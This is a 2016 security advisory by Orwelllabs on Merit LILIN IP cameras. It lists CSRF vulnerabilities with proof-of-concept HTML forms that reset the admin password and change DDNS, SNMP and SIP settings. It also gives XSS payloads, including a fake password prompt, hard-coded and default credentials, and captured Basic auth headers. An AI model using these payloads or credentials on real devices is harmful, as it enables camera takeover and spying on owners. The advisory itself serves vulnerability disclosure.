Merit LILIN XSS / CSRF / Credential Issues
Posted on 16 May 2016
_ _ _ _ _ _ _ _ _ _ / / / / / / / / / / ( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ www.orwelllabs.com securityadivisory @orwelllabs ;)(r By sitting in the alcove, and keeping well back, Winston was able to remain outside the range of the telescreen... * Adivisory Information ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ (+) Title: Merit Lilin IP Cameras Multiple Vulnerabilities (+) Vendor: Merit Lilin Enterprise Co., Ltd. (+) Research and Advisory: Orwelllabs (+) Adivisory URL: http://www.orwelllabs.com/2016/04/merit-lilin -ip-cameras-multiple_27.html (+) OLSA-ID: OLSA-2016-04-28 (+) Affected Versions: L series products with firmware 1.4.36/1.2.02, OS Version: Linux 2.6.38/Linux 2.6.32 (+) IoT Attack Surface: Device Administrative Interface/Authentication/Authorization (+) Owasp IoTTop10: I1, I2 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ I1. Insecure Web Interfaces --------------------------- Multiple Cross-site Request Forgery Multiple Cross-site Scripting/HTML Injection Hard-coded credentials Cleartext sensitive data Weak Passwords/Known credentials Account lockout I2. Poorly Protected Credentials -------------------------------- Insufficient Authentication/Authorization Vendor Background ================= LILIN, is a global IP video manufacturer of IP video cameras, recording devices, and software with over 30 years of experience. 1. Multiple Cross-site Request Forgery ====================================== Merit LILIN IP Cameras are prone to multiple cross-site request forgery vulnerabilities. (+) Technical Details and PoCs: ------------------------------- # Basic >> System >> User > Changing 'admin' password to 'w!nst0nSm!th' <html> <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC --> <body> <form action=" http://xxx.xxx.xxx.xxx/apply2.cgi?action=useredit&user_seq=1&user_account=admin&user_password=w!nst0nSm!th&user_priority=254&user_group=0 "> <input type="submit" value="Submit form" /> </form> </body> </html> # Basic >> Network >> DDNS > change DDNS information (user/hostname/password) <html> <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC --> <body> <form action=" http://xxx.xxx.xxx.xxx/apply.cgi?action=ddns_apply&next_page=ddns.asp&ddns_type=0&ddns_flag=1&ddns_account=Winston&ddns_pwd=pass&ddns_hostname=smithwmachine&ddns_new_pwd=&ddns_wanip= "> <input type="submit" value="Submit form" /> </form> </body> </html> # SNMP > change community/user/pass/pripass/v3rouser/etc. <html> <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC --> <body> <form action=" http://xxx.xxx.xxx.xxx/snmp?snmpenable=0&v12rwcommunity=public&v12rocommunity=private&v3user=admin&v3authpass=password&v3pripass=w!nst0nSm!th&v3rwuser=public&v3rouser=private "> <input type="submit" value="Submit form" /> </form> </body> </html> # Basic >> Network >> SIP > change sip_domain_server/sipreg_username/sipreg_password/sip_port=/etc. <html> <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC --> <body> <form action=" http://xxx.xxx.xxx.xxx/apply.cgi?action=sip_apply&next_page=sip.asp&voip_flag=1&sip_domain_server=lilintw.ddnsipcam.com&sipreg_username=admin&sipreg_password=pass&sipreg_expires=0&sip_port=5060&audiortp_port=7078&videortp_port=9078 "> <input type="submit" value="Submit form" /> </form> </body> </html> 2. Multiple Cross-site Scripting/HTML Injection ====================-========================== Merit Lilin IP Cameras are prone to multiple cross-site scripting vulnerabilities. Technical Details and PoCs: --------------------------- [SAMBA] Advance >> System >> SAMBA Service ------------------------------------------ %- Script: apply.cgi %- affected parameters: (+) action (+) SambaRecordState (+) SAMBA_OSD (+) SAMBARecordOption2 (+) SAMBARecordFormat (+) SAMBAPreRecordTime (+) SAMBAServer (+) SAMBAServerPort (+) SAMBAServerAccount (+) SAMBAServerPassword (+) SAMBAServerDirectory %- [ *** XSS *** ] Payload(1) used: 123%3Cimg%20src=%22x%20%22%20onerror=prompt%28%22Lilin_Password:%22%29%20/%3E %- URL: http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS *** ]&SambaRecordState=[ *** XSS *** ]&SAMBA_OSD=[ *** XSS *** ]&SAMBARecordOption2=[ *** XSS *** ]&SAMBARecordFormat=[ *** XSS *** ]&SAMBAPreRecordTime=[ *** XSS *** ]&SAMBAServer=[ *** XSS *** ]&SAMBAServerPort=[ *** XSS *** ]&SAMBAServerAccount=[ *** XSS *** ]&SAMBAServerPassword=[ *** XSS *** ]&SAMBAServerDirectory=[ *** XSS *** ] [General] -> Basic >> System >> General --------------------------------------- - Affected script: apply.cgi - affected parameters: (+) action (+) next_page (+) SAMBAServerDirectory %- [ *** XSS *** ] Payload(2) used: %22%3E%3Cscript%3Ealert%281%29%3C/script%3E %- URL http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS *** ]&next_page=[ *** XSS *** ]&CAM_NAME=LR6122&ACTIVEX_OSD_NAME=LR6122&CAM_OSD=0&TIMER_OSD=0&ACTIVEX_OSD_ENABLE=0&ACTIVEX_MODE=0 [HTTP POST Service] -> Advance >> Event >> HTTP POST Service ------------------------------------------------------------ - Affected script: apply.cgi - affected parameters: (+) AM_HTTP_JPEG (+) next_page*-* (+) HTTPPostPort*-* %- [ *** XSS *** ] Payload used: 123%3Cimg%20src=%22x%20%22%20onerror=prompt%28%22Lilin_Password:%22%29%20/%3E *-* Payload(2) %- URL: http://xxx.xxx.xxx.xxx/apply.cgi?action=httppost_apply&next_page=httppost.asp&HTTPServer=192.168.0.2&HTTPPostPort=56082&HTTPAccount= LILIN&HTTPPassword=control4&AM_HTTP_JPEG=[ *** XSS *** ] 3. Hard-coded credentials ========================= This application stores hard-coded credentials in html code. Technical Details and PoCs: --------------------------- (+) GET -> http://xxx.xxx.xxx.xxx/new/index.htm HTML Source code: <script> var g_ScreenMode = GetCookie('ScreenMode'); if(g_ScreenMode==null || g_ScreenMode=='' || g_ScreenMode==' ') { g_ScreenMode = 1; SetCookie('ScreenMode', 1); } var g_AD_OSD_FLAG = GV('0','0'); //Profileno,Width,Height,Type,ScreenSwitch,Resolution,Cmd var g_CtrlInfo = new Ctrl_ProfileInfo('',0,0,'',g_ScreenMode,'',''); var g_AD_RATE = Number('0'); var g_video_port = Number('0'); var g_spook_port = Number('554'); var g_httpd_auth_account = 'admin'; <<<<<---- user var g_httpd_auth_passwd = 'pass'; <<<<<---- pass var g_encode_mode = Number('0'); var g_profile00_fps_dwell = 1000/Number('15'); var g_profile01_fps_dwell = 1000/Number('5'); var g_profile02_fps_dwell = 1000/Number('25'); var g_profile03_fps_dwell = 1000/Number('0'); var g_ACTIVEX_OSD_ENABLE = Number('0'); var g_title_name = 'LR6122'; var g_CAM_OSD = Number('0'); var g_TIMER_OSD = Number('0'); [... Snip ...] (+) GET -> http://xxx.xxx.xxx.xxx/new/no_sd_file.htm HTML source code: [... Snip ...] //http://192.168.3.162/sdlist?dirlist=0 //http://192.168.3.225/sdlist?filelist=2012081001 //var g_AllDir = "2012080901,2012080902,2012080903,2012080904,2012080905, 2012080906:2012081001,2012081002:2012081101,2012081111"; //var g_AllFiles = "20120809010124.avi,20120809010234.avi,20120809010334.avi,20120809010434.avi,20120809010534.avi,20120809010643.avi"; var g_httpd_auth_account = GV('admin','admin'); <<<<<---- here var g_httpd_auth_passwd = GV('pass','pass'); <<<<<---- here [... Snip ...] 4. Cleartext sensitive data =========================== Everything is trasmite over HTTP, including credentials, like this, when an administrador "submmit" the Samba configuration form (cleartext everywhere). Technical Details and PoCs: --------------------------- GET /apply.cgi?action=sambarec_apply&SambaRecordState=0&SAMBA_OSD=0&SAMBARecordOption2=0&SAMBARecordFormat=0&SAMBAPreRecordTime=5&SAMBAServer=192.168.0.100&SAMBAServerPort=5000&SAMBAServerAccount=admin&SAMBAServerPassword=pass&SAMBAServerDirectory=/Public HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46cGFzcw== Connection: keep-alive 5. Weak Default Credentials/Known credentials ============================================= The vast maiority of these devices remain with default credential admin:pass (cameras)/admin:1111 (NVR) and costumers are not obligated to change it during initial setup. The best 6. Account Lockout ================== There is no control to prevent brute force attacks and to lockout an account after X failed login attempts. I1.Impact --------- Insecure web interfaces can result in data loss or corruption, lack of accountability, or denial of access and can lead to complete device takeover. 7. Poorly Protected Credentials =============================== An attacker in the same network is able to capture and decode the credentials as they aren't trasmited over HTTPs and are protected using just Base64 encoding. Technical Details and PoCs: --------------------------- > GET Request of) Authentication Process GET /new/setup.htm HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: O|orwell/labs,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx/new/setup.htm Cookie: lang=0; ScreenMode=O-Orw3lll@bs; profileno=0; uimode=1 Connection: keep-alive Authorization: Basic YWRtaW46cGFzcw== Affected products ================= L series with firmware 1.4.36/1.2.02, OS Version: Linux 2.6.38/Linux 2.6.32. LB1022X LR7224X LR7228X LR7424X LR7428X LR7722X LR7022 LR7922 LR6122X LR6022X LR2322X LR2122 LR312 LR832 LR2522 LD6122X LD2322X LD2122 LD2222 *Once this is related with a old bad design its probably that a large range of products are affected by reported issues. Timeline ++++++++ 2016-03-23: First attemp to contact Vendor 2016-04-22: Request #13617 "Lilin Products Vulnerabilities" created 2016-04-23: Attemp to contact vendor 2016-04-25: Vendor response (ask for details) 2016-04-27: According to the Vendor these issues are already know and will be remediated in the future. 2016-04-28: Full disclosure Legal Notices +++++++++++++ The information contained within this advisory and in any other published by our lab is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. About Orwelllabs ++++++++++++++++ Orwelllabs is an independent security research lab interested in IoT, what means embedded devices and all its components like web applications, network, mobile applications and all surface areas prone to attack. Orwelllabs aims to study, learn and produce some intelligence around this vast and confusing big picture called smart cities. We have special appreciation for devices designed to provide security to these highly technological cities, also known as Iost (Internet of Things Security). -----BEGIN PGP PUBLIC KEY BLOCK----- mQENBFcJl8wBCAC/J8rAQdOoC82gik6LVbH674HnxAAQ6rBdELkyR2S2g1zMIAFt xNN//A3bUWwFtlrfgiJkiOC86FimPus5O/c4iZc8klm07hxWuzoLPzBPM50+uGKH xZwwLa5PLuuR1T0O+OFqd9sdltz6djaYrFsdq6DZHVrp31P7LqHHRVwN8vzqWmSf 55hDGNTrjbnmfuAgQDrjA6FA2i6AWSTXEuDd5NjCN8jCorCczDeLXTY5HuJDb2GY U9H5kjbgX/n3/UvQpUOEQ5JgW1QoqidP8ZwsMcK5pCtr9Ocm+MWEN2tuRcQq3y5I SRuBk/FPhVVnx5ZrLveClCgefYdqqHi9owUTABEBAAG0IU9yd2VsbExhYnMgPG9y d2VsbGxhYnNAZ21haWwuY29tPokBOQQTAQgAIwUCVwmXzAIbAwcLCQgHAwIBBhUI AgkKCwQWAgMBAh4BAheAAAoJELs081R5pszAhGoIALxa6tCCUoQeksHfR5ixEHhA Zrx+i3ZopI2ZqQyxKwbnqXP87lagjSaZUk4/NkB/rWMe5ed4bHLROf0PAOYAQstE f5Nx2tjK7uKOw+SrnnFP08MGBQqJDu8rFmfjBsX2nIo2BgowfFC5XfDl+41cMy9n pVVK9qHDp9aBSd3gMc90nalSQTI/QwZ6ywvg+5/mG2iidSsePlfg5d+BzQoc6SpW LUTJY0RBS0Gsg88XihT58wnX3KhucxVx9RnhainuhH23tPdfPkuEDQqEM/hTVlmN 95rV1waD4+86IWG3Zvx79kbBnctD/e9KGvaeB47mvNPJ3L3r1/tT3AQE+Vv1q965 AQ0EVwmXzAEIAKgsUvquy3q8gZ6/t6J+VR7ed8QxZ7z7LauHvqajpipFV83PnVWf ulaAIazUyy1XWn80bVnQ227fOJj5VqscfnHqBvXnYNjGLCNMRix5kjD/gJ/0pm0U gqcrowSUFSJNTGk5b7Axdpz4ZyZFzXc33R4Wvkg/SAvLleU40S2wayCX+QpwxlMm tnBExzgetRyNN5XENATfr87CSuAaS/CGfpV5reSoX1uOkALaQjjM2ADkuUWDp6KK 6L90h8vFLUCs+++ITWU9TA1FZxqTl6n/OnyC0ufUmvI4hIuQV3nxwFnBj1Q/sxHc TbVSFcGqz2U8W9ka3sFuTQrkPIycfoOAbg0AEQEAAYkBHwQYAQgACQUCVwmXzAIb DAAKCRC7NPNUeabMwLE8B/91F99flUVEpHdvy632H6lt2WTrtPl4ELUy04jsKC30 MDnsfEjXDYMk1GCqmXwJnztwEnTP17YO8N7/EY4xTgpQxUwjlpah++51JfXO58Sf Os5lBcar8e82m1u7NaCN2EKGNEaNC1EbgUw78ylHU3B0Bb/frKQCEd60/Bkv0h4q FoPujMQr0anKWJCz5NILOShdeOWXIjBWxikhXFOUgsUBYgJjCh2b9SqwQ2UXjFsU I0gn7SsgP0uDV7spWv/ef90JYPpAQ4/tEK6ew8yYTJ/omudsGLt4vl565ArKcGwB C0O2PBppCrHnjzck1xxVdHZFyIgWiiAmRyV83CiOfg37 =IZYl -----END PGP PUBLIC KEY BLOCK-----
